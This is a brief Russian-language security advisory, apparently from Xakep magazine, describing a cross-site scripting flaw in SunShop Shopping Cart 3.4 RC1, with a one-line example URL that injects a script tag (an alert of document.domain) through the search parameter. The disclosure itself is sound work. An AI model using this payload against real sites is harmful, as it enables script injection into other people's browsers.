Межсайтовый скриптинг в SunShop Shopping Cart

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: SunShop Shopping Cart 3.4 RC1

Уязвимость в SunShop Shopping Cart позволяет
удаленному пользователю выполнить XSS
нападение.

Пример: 

index.php?action=search&search=<script> alert(document.domain);</script>